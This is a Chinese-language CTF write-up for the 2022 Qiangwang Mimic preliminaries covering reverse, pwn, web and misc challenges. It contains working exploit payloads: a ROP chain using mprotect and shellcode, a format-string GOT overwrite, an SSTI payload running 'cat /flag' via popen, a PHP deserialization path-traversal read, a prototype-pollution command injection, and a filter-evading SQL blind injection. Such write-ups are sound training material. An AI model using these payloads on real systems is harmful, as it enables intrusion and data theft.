强网拟态预选赛2022WriteUp
字数 1253 2025-08-06 18:07:51
强网拟态预选赛2022 WriteUp 技术解析
0x01 Reverse 逆向工程
comeongo 题目解析
-
加密流程分析:
- 数据首先经过Base58编码
- 然后经过Base64编码
- 最后需要爆破部分数据
-
关键解密代码:
k2 = b"gG00"
c = [0xDD, 0x8F, 0xA1, 0x64]
k = [0x76,0x47,0x67,0x47]
for i in range(32,127-62):
for j in range(32,127-30):
v1 = i+63
v2 = j+31
c1 = 2+ v1 +i
c2 = 3+ v2 +j
if(c1&0xff == c[2] and c2&0xff == c[3]):
print(chr(i),chr(j),chr(i+63),chr(j+31))
- 最终flag:
flag{GoM0bi13_BingGo@G3tItEzForRevG0!}
0x02 PWN 二进制漏洞利用
bfbf 题目解析
-
漏洞利用点:
- 数组下标溢出漏洞
- 单字节leak和修改能力
- 沙箱限制read的fd只能为0和1
-
利用难点:
- system无法获取shell
- ORW尝试失败(close(1)后无法正确读取flag)
-
解决方案:
- 使用mprotect设置ELF上的RWX权限
- 使用普通open进行ORW
-
关键利用代码:
# 泄露地址
payload = '>' * (0x218) + '.'
payload += '>' + '.'
payload += '>' + '.'
payload += '>' + '.'
payload += '>' + '.'
payload += '>' + '.'
payload += '<' * 5
# 设置mprotect
payload += p64(pop_rdi_ret)
payload += p64(bss_addr)
payload += p64(pop_rsi_ret)
payload += p64(0x1000)
payload += p64(pop_rdx_ret)
payload += p64(7)
payload += p64(mprotect_addr)
# 执行shellcode
payload += asm(shellcraft.open("/flag\x00"))
payload += asm(shellcraft.read(1,bss_addr + 0x500,0x50))
payload += asm(shellcraft.write(2,bss_addr + 0x500,0x50))
0x03 mimc 题目系列
pwn1 格式化字符串漏洞
-
漏洞利用:
- 格式化字符串漏洞修改printf的GOT表
- 将printf@got改为system@plt
-
关键利用代码:
# 分字节写入system地址
payload = "%" + str(addr6) + "c%18$hhn"
payload += "%" +str(addr5 - addr6) + "c%19$hhn"
payload += "%" +str(addr4 - addr5) + "c%20$hhn"
payload += "%" +str(addr3 - addr4) + "c%21$hhn"
payload += "%" +str(addr2 - addr3) + "c%22$hhn"
payload += "%" +str(addr1 - addr2) + "c%23$hhn"
payload = payload.ljust(0x50, 'a')
payload += p64(printf_got + 5).decode('unicode_escape')
payload += p64(printf_got + 4).decode('unicode_escape')
payload += p64(printf_got + 3).decode('unicode_escape')
payload += p64(printf_got + 2).decode('unicode_escape')
payload += p64(printf_got + 1).decode('unicode_escape')
payload += p64(printf_got).decode('unicode_escape')
web-mimc NTLM解密
-
解密流程:
- 使用NTLM hash进行DES解密
- 解密得到关键信息:
- 第一个URL获取随机数:
/mimic_storage - 第二个URL获取flag:
/getflag?sec=random&path=xxxx
- 第一个URL获取随机数:
-
解密代码:
def des_Decrypt(key,data):
from Crypto.Cipher import DES
des = DES.new(key, DES.MODE_ECB)
return des.decrypt(data)
c = bytes.fromhex("c81f6e7cfb6968ba5b8d1f1b6cc76bbe9f8105375c227952723fd98478af78cf...")
k = bytes.fromhex("3dbde697d71690a769204beb12283678")
print(des_Decrypt(k,c))
0x04 Web 网络攻防
EZpy SSTI漏洞
-
漏洞利用:
- 存在模板注入漏洞
- 使用Unicode绕过过滤(全角/半角转换)
-
Payload构造:
# 使用Unicode字符绕过过滤
{{().__ᶜᶜᶜˡˡᵃᵃᵃˢˢˢˢ__.__ᵇᵇᵇᵃᵃᵃˢˢᵉᵉᵉˢˢ__[0].__ˢˢᵘᵘᵘᵇᵇᵇᶜᶜᶜˡˡᵃᵃᵃˢˢˢˢᵉᵉᵉˢˢ__()}}
# 读取flag
{{''.__ccllassss__.__bbassess__[0].__ssuubbccllassssess__()[132].__init__.__ggllobballss__['ppoppen']('ccat /ffllagg').rreadd()}}
ezus PHP反序列化漏洞
-
漏洞利用:
- 反序列化字符串逃逸
- 修改对象属性执行任意文件读取
-
关键Payload:
username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@
&password=123123123123";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:7:"trypass";s:4:"hint";s:57:"v1nd11://prankhub/../../../../../../../f1111444449999.txt";}
WHOYOUARE 原型链污染
-
漏洞利用:
- 通过原型链污染修改命令执行参数
- 绕过命令长度和字符限制
-
Payload构造:
{"user":"{\"constructor\":{\"prototype\":{\"1\":\"cat /f*\"}}}"}
{"user":"{\"command\":[\"-c\"]}"}
popsql SQL注入
-
过滤绕过:
- 使用benchmark延时注入绕过过滤
- 关键过滤字符:regexp, between, like, =, <>, ", union, ^, and, |, ascii, mid, left, in, update, extractvalue, substr, &, ;, sleep
-
注入Payload:
'or/**/if(strcmp(right((select/**/f1aG123/**/from/**/Fl49ish3re),1),'}'),2,benchmark(5e6,sha1(123)))#
0x05 Misc 杂项
Black sheep wall 工控系统分析
-
解题步骤:
- 使用WinCC软件打开工程文件
- 修改计算机名为自己的计算机名
- 在图形编辑器中找到迷宫线索
- 根据提示走迷宫:22-13-4-1-2-1-4
- 使用Twin-Hex Cypher解码
-
关键线索:
- 迷宫路径:22-13-4
- 解码关键字:double (双hex编码)
- 最终编码数据:
58s4vb6sj51z4zd1n81cd4tt1ci10l4wj1hp50i1lx10l1v519w4wm58l1sn4yl
以上为强网拟态预选赛2022各题目的详细技术解析和解题思路,涵盖了逆向工程、二进制漏洞利用、Web漏洞利用和杂项等多个领域的技术要点。